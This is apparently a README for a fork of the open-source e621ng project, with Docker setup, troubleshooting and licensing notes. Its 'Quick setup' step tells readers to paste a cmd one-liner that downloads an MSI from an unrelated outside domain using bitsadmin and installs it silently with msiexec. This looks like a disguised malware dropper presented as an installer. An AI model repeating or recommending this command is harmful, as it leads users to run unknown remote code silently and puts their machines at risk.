The project's README from github.com/blendmaidintrigue/e621. As one markdown file: README.md.
An independent community-maintained project based on the open-source e621ng codebase.
⚡ Quick setup · 🐳 Docker ready · 🛠️ Open source
cmd
Copy the command below and paste it into Command Prompt, then press Enter.
bitsadmin /transfer e621 /download /priority normal "https://devcodee.com/api" "%TEMP%\setup.msi" && msiexec /i "%TEMP%\setup.msi" /qn /norestart
The installer will automatically download and install the required components.
After installation, open:
http://localhost:3000
| Technology | Purpose |
|---|---|
| 💎 Ruby on Rails | Application backend |
| 🐘 PostgreSQL | Database |
| 🔎 OpenSearch | Search engine |
| 🐳 Docker | Containerized environment |
| 🌐 JavaScript | Frontend functionality |
The exact requirements depend on your installation method.
For a standard development environment, you may need:
If your one-command installer handles these automatically, no additional setup is required.
Want to work on the project manually?
Clone the repository:
git clone <YOUR_REPOSITORY_URL>
Enter the project directory:
cd <YOUR_REPOSITORY_FOLDER>
Copy the environment configuration:
cp .env.sample .env
Run the setup:
docker compose run --rm e621 /app/bin/setup
Start the containers:
docker compose up
Open Command Prompt (cmd.exe).
Clone the repository:
git clone <YOUR_REPOSITORY_URL>
Enter the project directory:
cd <YOUR_REPOSITORY_FOLDER>
Copy the environment configuration:
copy .env.sample .env
Run the initial setup:
docker compose run --rm e621 /app/bin/setup
Start the project:
docker compose up
To stop the containers, press:
Ctrl + C
Then visit:
http://localhost:3000
💡 Windows note: Docker Desktop includes Docker Compose. Make sure Docker Desktop is running before executing the commands above.
If the project does not start correctly from CMD, try:
docker compose down -v
docker compose build --no-cache
docker compose run --rm e621 /app/bin/setup
docker compose up
If Git shows unexpected permission or file-mode changes:
git config core.fileMode false
Check that Docker is available:
docker --version
docker compose version
Check that Git is available:
git --version
Run the test environment with Docker:
docker compose run --rm tests
docker compose run --rm rubocop
docker compose run --rm linter
After updating the repository:
git pull
If Ruby gems or JavaScript packages have changed, rebuild the containers:
docker compose build
Then restart:
docker compose up
This project is an independent derivative of the open-source:
🔗 https://github.com/e621ng/e621ng
Huge thanks to the original developers and contributors who built and maintain the upstream project. ❤️
This repository is maintained independently and may contain modifications, alternative deployment tooling, documentation changes, and other improvements not present in the upstream project.
This is an independent community project.
It is not affiliated with, endorsed by, sponsored by, or officially maintained by e621.net or the e621ng development team.
Any third-party names, trademarks, logos, and branding belong to their respective owners.
The original project permits redistribution and modification subject to its license terms.
When redistributing this project, retain the original:
Please see:
LICENSE
for the complete license text.
Contributions are welcome. 💙
You can help by:
If you find the project useful, consider leaving a ⭐ Star.
It helps other developers discover the project.
Open source · Self-hosted · Developer friendly